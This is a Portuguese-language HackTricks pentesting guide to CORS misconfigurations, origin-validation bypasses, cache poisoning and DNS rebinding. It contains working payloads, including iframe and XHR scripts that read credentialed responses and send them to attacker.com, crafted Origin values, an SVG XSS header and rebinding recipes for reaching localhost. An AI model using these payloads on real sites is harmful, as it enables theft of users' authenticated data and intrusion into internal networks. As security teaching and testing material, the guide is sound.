CORS - Misconfigurations & Bypass

Tip

Aprenda e pratique AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Navegue pelo catálogo completo do HackTricks Training para as trilhas de assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).

Support HackTricks

O que é CORS?

Cross-Origin Resource Sharing (CORS) standard permite que servidores definam quem pode acessar seus assets e quais métodos de requisição HTTP são permitidos a partir de fontes externas.

Uma política de same-origin exige que um servidor solicitante de um recurso e o servidor que hospeda o recurso compartilhem o mesmo protocolo (por exemplo, http://), nome de domínio (por exemplo, internal-web.com) e porta (por exemplo, 80). Sob essa política, apenas páginas web do mesmo domínio e porta têm permissão para acessar os recursos.

A aplicação da política de same-origin no contexto de http://normal-website.com/example/example.html é ilustrada da seguinte forma:

URL accessedAccess permitted?
http://normal-website.com/example/Yes: Identical scheme, domain, and port
http://normal-website.com/example2/Yes: Identical scheme, domain, and port
https://normal-website.com/example/No: Different scheme and port
http://en.normal-website.com/example/No: Different domain
http://www.normal-website.com/example/No: Different domain
http://normal-website.com:8080/example/No: Different port*

*Internet Explorer ignora o número da porta ao aplicar a política de same-origin, permitindo assim esse acesso.

Access-Control-Allow-Origin Header

Este header pode permitir múltiplas origins, um valor null, ou um wildcard *. No entanto, nenhum browser suporta múltiplas origins, e o uso do wildcard * está sujeito a limitações. (O wildcard deve ser usado sozinho, e seu uso junto com Access-Control-Allow-Credentials: true não é permitido.)

Este header é emitido por um servidor em resposta a uma requisição de recurso cross-domain iniciada por um website, com o browser adicionando automaticamente um header Origin.

Access-Control-Allow-Credentials Header

Por padrão, requisições cross-origin são feitas sem credentials como cookies ou o header Authorization. Ainda assim, um servidor cross-domain pode permitir a leitura da resposta quando credentials são enviadas ao definir o header Access-Control-Allow-Credentials como true.

Se definido como true, o browser transmitirá credentials (cookies, headers de authorization ou certificados TLS de cliente).

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText)
}
}
xhr.open("GET", "http://example.com/", true)
xhr.withCredentials = true
xhr.send(null)

fetch(url, {
credentials: "include",
})

const xhr = new XMLHttpRequest()
xhr.open("POST", "https://bar.other/resources/post-here/")
xhr.setRequestHeader("X-PINGOTHER", "pingpong")
xhr.setRequestHeader("Content-Type", "application/xml")
xhr.onreadystatechange = handler
xhr.send("<person><name>Arun</name></person>")

CSRF Pre-flight request

Entendendo Pre-flight Requests em Comunicação Cross-Domain

Ao iniciar uma request cross-domain sob condições específicas, como usar um non-standard HTTP method (qualquer coisa diferente de HEAD, GET, POST), introduzir novos headers, ou empregar um valor especial de Content-Type header, uma pre-flight request pode ser necessária. Essa request preliminar, que usa o método OPTIONS, serve para informar ao servidor as intenções da futura cross-origin request, incluindo os HTTP methods e headers que pretende usar.

O protocolo Cross-Origin Resource Sharing (CORS) exige essa verificação pre-flight para determinar a viabilidade da operação cross-origin solicitada, verificando os métodos permitidos, os headers e a confiabilidade da origin. Para um entendimento detalhado de quais condições evitam a necessidade de uma pre-flight request, consulte o guia completo fornecido pelo Mozilla Developer Network (MDN).

É crucial notar que a ausência de uma pre-flight request não elimina a exigência de que a response carregue authorization headers. Sem esses headers, o browser fica incapacitado de processar a response da cross-origin request.

Considere a seguinte ilustração de uma pre-flight request destinada a empregar o método PUT junto com um custom header chamado Special-Request-Header:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

Em resposta, o servidor pode retornar headers indicando os métodos aceitos, a origin permitida e outros detalhes da policy de CORS, como mostrado abaixo:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
  • Access-Control-Allow-Headers: Este header especifica quais headers podem ser usados durante a solicitação real. Ele é definido pelo server para indicar os headers permitidos em requests do client.
  • Access-Control-Expose-Headers: Através deste header, o server informa ao client quais headers podem ser expostos como parte da response além dos simple response headers.
  • Access-Control-Max-Age: Este header indica por quanto tempo os resultados de uma pre-flight request podem ser cacheados. O server define o tempo máximo, em segundos, que a informação retornada por uma pre-flight request pode ser reutilizada.
  • Access-Control-Request-Headers: Usado em pre-flight requests, este header é definido pelo client para informar ao server quais HTTP headers o client quer usar na solicitação real.
  • Access-Control-Request-Method: Este header, também usado em pre-flight requests, é definido pelo client para indicar qual método HTTP será usado na solicitação real.
  • Origin: Este header é definido automaticamente pelo browser e indica a origem da cross-origin request. Ele é usado pelo server para avaliar se a request recebida deve ser permitida ou negada com base na política de CORS.

Observe que normalmente (dependendo do content-type e dos headers definidos) em uma GET/POST request nenhuma pre-flight request é enviada (a request é enviada diretamente), mas se você quiser acessar os headers/body da response, ela deve conter um header Access-Control-Allow-Origin permitindo isso.
Portanto, CORS não protege contra CSRF (mas pode ser útil).

Local Network Requests Pre-flight request

Browsers modernos e o rascunho atual de Private Network Access (PNA) usam os headers Access-Control-Request-Private-Network: true no preflight e Access-Control-Allow-Private-Network: true na response. Artigos antigos e PoCs ainda podem se referir a nomes de header Local-Network, mas para testes atuais você deve esperar as variantes Private-Network.

Uma response válida permitindo a local network request também precisa incluir Access-Control-Allow-Private-Network: true:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Private-Network: true
Content-Length: 0
...

E a preflight request ficará semelhante a:

OPTIONS / HTTP/1.1
Host: router.local
Origin: https://example.com
Access-Control-Request-Method: GET
Access-Control-Request-Private-Network: true

Note

O rollout do PNA do Chrome mudou várias vezes durante 2024. Em 9 de outubro de 2024, o Chrome documentou que os preflights de PNA estavam suspensos por causa de problemas de compatibilidade, enquanto as restrições de secure-context permaneciam em vigor. Portanto, continue testando tanto o fluxo de preflight compatível com a spec quanto o comportamento mais antigo de “funciona na prática porque a enforcement está incompleta”.

Warning

Observe que o IP 0.0.0.0 no linux funciona para bypass desses requisitos e acessar localhost, já que esse endereço IP não é considerado “local”.

O Chrome também documentou que 0.0.0.0/8 agora é tratado como parte do Private Network Access, então esse truque depende da browser/version e deve ser testado novamente em vez de assumido.

Também é possível bypassar os requisitos de Local Network se você usar o endereço IP público de um endpoint local (como o IP público do router). Porque, em várias ocasiões, mesmo que o IP público esteja sendo acessado, se for a partir da local network, o acesso será concedido.

Wildcards

Note que mesmo que a seguinte configuração possa parecer muito permissiva:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Isso não é permitido pelos browsers e, portanto, credentials não serão enviados com a request permitida por isso.

Misconfigurations exploráveis

Foi observado que a configuração de Access-Control-Allow-Credentials como true é um pré-requisito para a maioria dos real attacks. Essa configuração permite que o browser envie credentials e leia a response, aumentando a efetividade do attack. Sem isso, o benefício de fazer um browser emitir uma request em vez de fazer isso você mesmo diminui, já que aproveitar os cookies de um usuário se torna inviável.

Exception: Explorando a Network Location como Authentication

Existe uma exception em que a network location da vítima atua como uma forma de authentication. Isso permite que o browser da vítima seja usado como um proxy, contornando a authentication baseada em IP para acessar aplicações de intranet. Esse método compartilha semelhanças de impacto com DNS rebinding, mas é mais simples de exploit.

Reflection de Origin em Access-Control-Allow-Origin

O cenário do mundo real em que o valor do header Origin é refletido em Access-Control-Allow-Origin é teoricamente improvável devido a restrições na combinação desses headers. No entanto, developers que buscam habilitar CORS para múltiplas URLs podem gerar dinamicamente o header Access-Control-Allow-Origin copiando o valor do header Origin. Essa abordagem pode introduzir vulnerabilities, particularmente quando um attacker usa um domain com um nome projetado para parecer legítimo, enganando assim a lógica de validation.

<script>
var req = new XMLHttpRequest()
req.onload = reqListener
req.open("get", "https://example.com/details", true)
req.withCredentials = true
req.send()
function reqListener() {
location = "/log?key=" + this.responseText
}
</script>

Explorando a null Origin

A null origin, especificada para situações como redirects ou arquivos HTML locais, ocupa uma posição única. Alguns applications colocam essa origin na whitelist para facilitar o desenvolvimento local, permitindo inadvertidamente que qualquer website imite uma null origin por meio de um sandboxed iframe, contornando assim restrições de CORS.

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

Técnicas de Bypass de Regular Expression

Ao encontrar uma whitelist de domain, é crucial testar oportunidades de bypass, como anexar o domínio do atacante a um domínio na whitelist ou explorar vulnerabilidades de subdomain takeover. Além disso, regular expressions usadas para validação de domain podem ignorar nuances nas convenções de nomeação de domain, apresentando novas oportunidades de bypass.

Bypasses Avançados de Regular Expression

Padrões de regex normalmente se concentram em caracteres alfanuméricos, ponto (.) e hífen (-), negligenciando outras possibilidades. Por exemplo, um domain name criado para incluir caracteres interpretados de forma diferente pelos browsers e pelos padrões de regex pode contornar os checks de segurança. O tratamento de caracteres underscore em subdomains pelo Safari, Chrome e Firefox ilustra como essas discrepâncias podem ser exploradas para contornar a lógica de validação de domain.

Para mais informações e configurações deste bypass check: https://www.corben.io/advanced-cors-techniques/ e https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png

A partir de XSS dentro de um subdomain

Developers frequentemente implementam mecanismos defensivos para proteger contra exploração de CORS, fazendo whitelist de domains que estão permitidos a solicitar information. Apesar dessas precauções, a segurança do sistema não é infalível. A presença de até mesmo um único subdomain vulnerável dentro dos domains na whitelist pode abrir a porta para exploração de CORS por meio de outras vulnerabilidades, como XSS (Cross-Site Scripting).

Para ilustrar, considere o cenário em que um domain, requester.com, está na whitelist para acessar resources de outro domain, provider.com. A configuração do lado do server pode ser algo assim:

if ($_SERVER["HTTP_HOST"] == "*.requester.com") {
// Access data
} else {
// Unauthorized access
}

Nesse cenário, todos os subdomínios de requester.com têm acesso permitido. No entanto, se um subdomínio, como sub.requester.com, for comprometido com uma vulnerabilidade de XSS, um atacante pode explorar essa fraqueza. Por exemplo, um atacante com acesso a sub.requester.com poderia explorar a vulnerabilidade de XSS para burlar políticas de CORS e acessar maliciosamente recursos em provider.com.

Special Characters

O URL validation bypass cheat sheet da PortSwigger descobriu que alguns browsers suportam caracteres estranhos dentro de nomes de domínio.

Chrome e Firefox suportam underscores _ que podem burlar regexes implementadas para validar o header Origin:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application_.arbitrary.com

HTTP/2 200 OK
Access-Control-Allow-Origin: https://target.application_.arbitrary.com
Access-Control-Allow-Credentials: true

O Safari é ainda mais permissivo ao aceitar caracteres especiais no nome do domínio:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application}.arbitrary.com

HTTP/2 200 OK
Cookie: <session_cookie>
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
Access-Control-Allow-Credentials: true

Atualizações recentes na cheat sheet da PortSwigger adicionaram mais payloads de domain splitting orientados ao Safari que valem a pena fuzzing quando o alvo valida o cabeçalho Origin usando regexes ou parsers de URL feitos em casa:

https://example.com.{.attacker.com/
https://example.com.}.attacker.com/
https://example.com.`.attacker.com/

Esses são úteis quando o backend apenas verifica se o origin fornecido começa com ou contém o hostname confiável, enquanto o navegador ainda trata o sufixo controlado pelo atacante como o boundary efetivo do origin.

Lembre-se também de que o origin fuzzing moderno não deve parar em sufixos de hostname. A cheat sheet atual da PortSwigger inclui famílias de payloads para:

  • Domain allow-list bypasses: domains controlados pelo atacante que ainda satisfazem verificações ingênuas de prefixo/sufixo/substring.
  • Fake-relative absolute URLs: URLs absolutas válidas para o navegador que o código da aplicação pode interpretar como relativas.
  • Loopback/IP normalizations: formas alternativas de IPv4/IPv6 úteis quando a lógica de CORS tenta bloquear localhost, 127.0.0.1 ou endpoints de metadata da cloud por comparação de strings.

Other funny URL tricks

URL Format Bypass

Server-side cache poisoning

From this research

É possível que, ao explorar server-side cache poisoning por meio de HTTP header injection, uma vulnerabilidade de Cross-Site Scripting (XSS) armazenada possa ser induzida. Esse cenário se desenrola quando uma aplicação não sanitiza o header Origin para caracteres ilegais, criando uma vulnerabilidade especialmente para usuários do Internet Explorer e Edge. Esses navegadores tratam (0x0d) como um terminador HTTP header legítimo, levando a vulnerabilidades de HTTP header injection.

Considere a seguinte request onde o header Origin é manipulado:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer e Edge interpretam a resposta como:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

Enquanto explorar diretamente essa vulnerability ao fazer um web browser enviar um header malformado não é viável, uma request criada manualmente pode ser gerada usando tools como Burp Suite. Esse método pode levar um cache do lado do server a salvar a response e, inadvertidamente, servi-la a outros. O payload criado visa alterar o character set da página para UTF-7, uma character encoding frequentemente associada a vulnerabilidades de XSS devido à sua capacidade de codificar characters de uma forma que pode ser executada como script em certos contexts.

Para mais leitura sobre stored XSS vulnerabilities, veja PortSwigger.

Note: A exploração de vulnerabilities de HTTP header injection, particularmente por meio de server-side cache poisoning, reforça a importância crítica de validar e sanitizar toda input fornecida pelo user, incluindo HTTP headers. Sempre empregue um robust security model que inclua input validation para prevenir tais vulnerabilities.

Client-Side cache poisoning

From this research

Neste cenário, observa-se uma instância de uma web page refletindo o conteúdo de um custom HTTP header sem encoding adequado. Especificamente, a web page reflete de volta o conteúdo incluído em um header X-User-id, que poderia incluir JavaScript malicioso, como demonstrado pelo exemplo em que o header contém uma SVG image tag projetada para executar código JavaScript ao carregar.

Cross-Origin Resource Sharing (CORS) policies permitem o envio de custom headers. No entanto, sem a response ser renderizada diretamente pelo browser devido a restrições de CORS, a utilidade de tal injection pode parecer limitada. O ponto crítico surge ao considerar o comportamento do cache do browser. Se o header Vary: Origin não for especificado, torna-se possível que a malicious response seja armazenada em cache pelo browser. Subsequentemente, essa cached response poderia ser renderizada diretamente ao navegar para a URL, contornando a necessidade de renderização direta na request inicial. Esse mecanismo aumenta a confiabilidade do attack ao aproveitar o client-side caching.

Para ilustrar esse attack, é fornecido um exemplo em JavaScript, projetado para ser executado no ambiente de uma web page, como por meio de um JSFiddle. Esse script executa uma ação simples: ele envia uma request para uma URL especificada com um custom header contendo o JavaScript malicioso. Após a conclusão bem-sucedida da request, ele tenta navegar até a target URL, potencialmente disparando a execução do script injected se a response tiver sido armazenada em cache sem o tratamento adequado do header Vary: Origin.

Aqui está uma análise resumida do JavaScript usado para executar esse attack:

<script>
function gotcha() {
location = url
}
var req = new XMLHttpRequest()
url = "https://example.com/" // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha
req.open("get", url, true)
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
req.send()
</script>

Bypass

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, também conhecido como Cross-Site Script Inclusion, é um tipo de vulnerabilidade que tira proveito do fato de que a Same Origin Policy (SOP) não se aplica ao incluir recursos usando a tag script. Isso acontece porque scripts precisam poder ser incluídos de diferentes domínios. Essa vulnerabilidade permite que um atacante acesse e leia qualquer conteúdo que tenha sido incluído usando a tag script.

Essa vulnerabilidade se torna particularmente significativa quando se trata de JavaScript dinâmico ou JSONP (JSON with Padding), especialmente quando informações de ambient-authority como cookies são usadas para autenticação. Ao solicitar um recurso de um host diferente, os cookies são incluídos, tornando-os acessíveis ao atacante.

Para entender melhor e mitigar essa vulnerabilidade, você pode usar o plugin do BurpSuite disponível em https://github.com/kapytein/jsonp. Esse plugin pode ajudar a identificar e lidar com possíveis vulnerabilidades XSSI em suas aplicações web.

Leia mais sobre os diferentes tipos de XSSI e como explorá-los aqui.

Tente adicionar um callback parameter na request. Talvez a página tenha sido preparada para enviar os dados como JSONP. Nesse caso, a página devolverá os dados com Content-Type: application/javascript, o que vai contornar a política de CORS.

Easy (useless?) bypass

Uma forma de contornar a restrição Access-Control-Allow-Origin é pedir para uma web application fazer uma request em seu nome e devolver a response. No entanto, nesse cenário, as credentials da vítima final não serão enviadas, pois a request é feita para um domínio diferente.

  1. CORS-escape: Essa tool fornece um proxy que encaminha sua request junto com seus headers, ao mesmo tempo em que falsifica o header Origin para corresponder ao domínio solicitado. Isso efetivamente contorna a política de CORS. Aqui está um exemplo de uso com XMLHttpRequest:
  2. simple-cors-escape: Essa tool oferece uma abordagem alternativa para proxyar requests. Em vez de repassar sua request como está, o servidor faz sua própria request com os parâmetros especificados.

Iframe + Popup Bypass

Você pode bypassar CORS checks como e.origin === window.origin criando um iframe e a partir dele abrindo uma nova janela. Mais informações na seguinte página:

Iframes in XSS, CSP and SOP

DNS Rebinding via TTL

DNS rebinding via TTL é uma técnica usada para contornar certas medidas de segurança manipulando registros DNS. Veja como funciona:

  1. O atacante cria uma página web e faz a vítima acessá-la.
  2. O atacante então altera o DNS (IP) de seu próprio domínio para apontar para a página web da vítima.
  3. O browser da vítima faz cache da response de DNS, que pode ter um valor TTL (Time to Live) indicando por quanto tempo o registro DNS deve ser considerado válido.
  4. Quando o TTL expira, o browser da vítima faz uma nova request DNS, permitindo que o atacante execute código JavaScript na página da vítima.
  5. Mantendo controle sobre o IP da vítima, o atacante pode coletar informações da vítima sem enviar cookies para o servidor da vítima.

É importante observar que os browsers têm mecanismos de cache que podem impedir abuso imediato dessa técnica, mesmo com valores baixos de TTL.

DNS rebinding pode ser útil para contornar verificações explícitas de IP realizadas pela vítima ou para cenários em que um usuário ou bot permanece na mesma página por um período prolongado, permitindo que o cache expire.

Se você precisar de uma forma rápida de abusar de DNS rebinding, pode usar serviços como https://lock.cmpxchg8b.com/rebinder.html.

Para executar seu próprio servidor de DNS rebinding, você pode utilizar tools como DNSrebinder (https://github.com/mogwailabs/DNSrebinder). Isso envolve expor sua porta local 53/udp, criar um registro A apontando para ela (por exemplo, ns.example.com), e criar um registro NS apontando para o subdomínio A criado anteriormente (por exemplo, ns.example.com). Qualquer subdomínio do subdomínio ns.example.com será então resolvido pelo seu host.

Você também pode explorar um servidor em execução pública em http://rebind.it/singularity.html para maior entendimento e experimentação.

DNS Rebinding via DNS Cache Flooding

DNS rebinding via DNS cache flooding é outra técnica usada para contornar o mecanismo de cache dos browsers e forçar uma segunda request DNS. Veja como funciona:

  1. Inicialmente, quando a vítima faz uma request DNS, ela recebe como response o IP do atacante.
  2. Para contornar a defesa de cache, o atacante usa um service worker. O service worker inunda o cache DNS, o que efetivamente apaga o nome do servidor do atacante armazenado em cache.
  3. Quando o browser da vítima faz uma segunda request DNS, agora recebe como response o IP 127.0.0.1, que normalmente se refere ao localhost.

Ao inundar o cache DNS com o service worker, o atacante pode manipular o processo de resolução DNS e forçar o browser da vítima a fazer uma segunda request, desta vez resolvendo para o IP desejado pelo atacante.

DNS Rebinding via Cache

Outra forma de contornar a defesa de cache é utilizar múltiplos endereços IP para o mesmo subdomínio no provedor DNS. Veja como funciona:

  1. O atacante configura dois registros A (ou um único registro A com dois IPs) para o mesmo subdomínio no provedor DNS.
  2. Quando um browser verifica esses registros, ele recebe ambos os endereços IP.
  3. Se o browser decidir usar primeiro o IP do atacante, o atacante pode servir um payload que realiza requests HTTP para o mesmo domínio.
  4. No entanto, assim que o atacante obtém o IP da vítima, ele para de responder ao browser da vítima.
  5. O browser da vítima, ao perceber que o domínio não está respondendo, passa a usar o segundo IP fornecido.
  6. Ao acessar o segundo endereço IP, o browser contorna a Same Origin Policy (SOP), permitindo que o atacante abuse disso e colete e exfiltre informações.

Essa técnica aproveita o comportamento dos browsers quando múltiplos endereços IP são fornecidos para um domínio. Controlando estrategicamente as responses e manipulando a escolha do browser pelo IP, um atacante pode explorar a SOP e acessar informações da vítima.

Warning

Observe que, para acessar localhost, você deve tentar rebinding de 127.0.0.1 no Windows e 0.0.0.0 no linux.
Providers como godaddy ou cloudflare não me permitiram usar o ip 0.0.0.0, mas a AWS route53 permitiu criar um registro A com 2 IPs, sendo um deles “0.0.0.0”

Para mais informações, você pode consultar https://unit42.paloaltonetworks.com/dns-rebinding/

Other Common Bypasses

  • Se internal IPs não forem permitidos, eles podem ter esquecido de proibir 0.0.0.0 (funciona no Linux e Mac)
  • Se internal IPs não forem permitidos, responda com um CNAME para localhost (funciona no Linux e Ma
  • Se internal IPs não forem permitidos como responses DNS, você pode responder CNAMEs para internal services como www.corporate.internal.

DNS Rebidding Weaponized

Você pode encontrar mais informações sobre as técnicas de bypass anteriores e sobre como usar a seguinte tool na palestra Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference.

Singularity of Origin é uma tool para realizar ataques de DNS rebinding. Ela inclui os componentes necessários para rebinding do IP do nome DNS do servidor de ataque para o IP da máquina alvo e para servir payloads de ataque para explorar software vulnerável na máquina alvo.

DNS Rebinding over DNS-over-HTTPS (DoH)

DoH simplesmente encapsula o formato clássico de DNS RFC1035 dentro de HTTPS (geralmente um POST com Content-Type: application/dns-message). O resolver ainda responde com os mesmos resource records, então técnicas que quebram SOP continuam funcionando mesmo quando os browsers resolvem o hostname controlado pelo atacante via TLS.

Key observations

  • Chrome (Windows/macOS) e Firefox (Linux) fazem rebinding com sucesso quando configurados para resolvers DoH da Cloudflare, Google ou OpenDNS. A criptografia do transporte não atrasa nem bloqueia o attack-flow para estratégias first-then-second, multiple-answers ou DNS cache flooding.
  • Resolvers públicos ainda veem cada query, mas raramente impõem o mapeamento host-to-IP que um browser deve respeitar. Assim que o authoritative server retorna a sequência de rebinding, o browser mantém o tuple original de origin enquanto se conecta ao novo IP.

Singularity strategies and timing over DoH

  • First-then-second continua sendo a opção mais confiável: a primeira lookup retorna o IP do atacante que serve o payload, toda lookup posterior retorna o IP internal/localhost. Com os caches DNS típicos do browser, isso muda o tráfego em ~40–60 segundos, mesmo quando o recursive resolver só pode ser acessado via HTTPS.
  • Multiple answers (fast rebinding) ainda chega ao localhost em <3 segundos respondendo com dois registros A (IP do atacante + 0.0.0.0 no Linux/macOS ou 127.0.0.1 no Windows) e bloqueando programaticamente o primeiro IP (por exemplo, iptables -I OUTPUT -d <attacker_ip> -j DROP) logo após o carregamento da página. A implementação DoH do Firefox pode emitir queries DNS repetidas, então a correção do Singularity é agendar a regra de firewall em relação ao timestamp da primeira query em vez de reiniciar o timer a cada query.

Beating “rebind protection” in DoH providers

  • Alguns providers (por exemplo, NextDNS) substituem respostas private/loopback por 0.0.0.0, mas Linux e macOS encaminham esse destino sem problemas para serviços locais. Portanto, retornar intencionalmente 0.0.0.0 como o segundo registro ainda redireciona a origin para localhost.
  • Filtrar apenas a response direta A/AAAA é ineficaz: retornar um CNAME para um hostname somente interno faz o resolver público DoH encaminhar o alias enquanto browsers como Firefox voltam para o DNS do sistema para a zona interna, completando a resolução para um IP private que ainda é tratado como a origin do atacante.

Browser-specific DoH behavior

  • Firefox DoH opera em modo fallback: qualquer falha DoH (incluindo um target CNAME não resolvido) dispara uma lookup em texto puro via o resolver do SO, que normalmente é um servidor DNS corporativo que conhece o namespace interno. Esse comportamento é o que torna o bypass de CNAME confiável dentro de redes corporativas.
  • Chrome DoH só é ativado quando o DNS do SO aponta para um recursive resolver compatível com DoH na whitelist (Cloudflare, Google, Quad9, etc.) e não fornece a mesma cadeia de fallback. Hostnames internos que existem apenas no DNS corporativo, portanto, falham ao resolver, mas rebinding para localhost ou qualquer endereço roteável ainda funciona porque o atacante controla todo o conjunto de responses.

Testing and monitoring DoH flows

  • Firefox: Settings ➜ Network Settings ➜ Enable DNS over HTTPS e forneça o endpoint DoH (Cloudflare e NextDNS vêm integrados). Chrome/Chromium: habilite chrome://flags/#dns-over-https e configure os servidores DNS do SO para um dos resolvers suportados pelo Chrome (por exemplo, 1.1.1.1/1.0.0.1).
  • Você pode consultar APIs públicas DoH diretamente, por exemplo curl -H 'accept: application/dns-json' 'https://cloudflare-dns.com/dns-query?name=example.com&type=A' | jq para confirmar os registros exatos que os browsers vão armazenar em cache.
  • Interceptar DoH no Burp/ZAP ainda funciona porque isso é apenas HTTPS (payload binário de DNS no body). Para inspeção em nível de pacote, exporte as chaves TLS (export SSLKEYLOGFILE=~/SSLKEYLOGFILE.txt) antes de iniciar o browser e deixe o Wireshark descriptografar as sessões DoH com o filtro de exibição dns para ver quando o browser permanece em DoH ou faz fallback para DNS clássico.

Real Protection against DNS Rebinding

  • Use TLS em internal services
  • Request authentication para acessar dados
  • Valide o Host header
  • https://wicg.github.io/private-network-access/: Proposal to always send a pre-flight request when public servers want to access internal servers

Tools

Fuzz possible misconfigurations in CORS policies

References

Tip

Aprenda e pratique AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Navegue pelo catálogo completo do HackTricks Training para as trilhas de assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).

Support HackTricks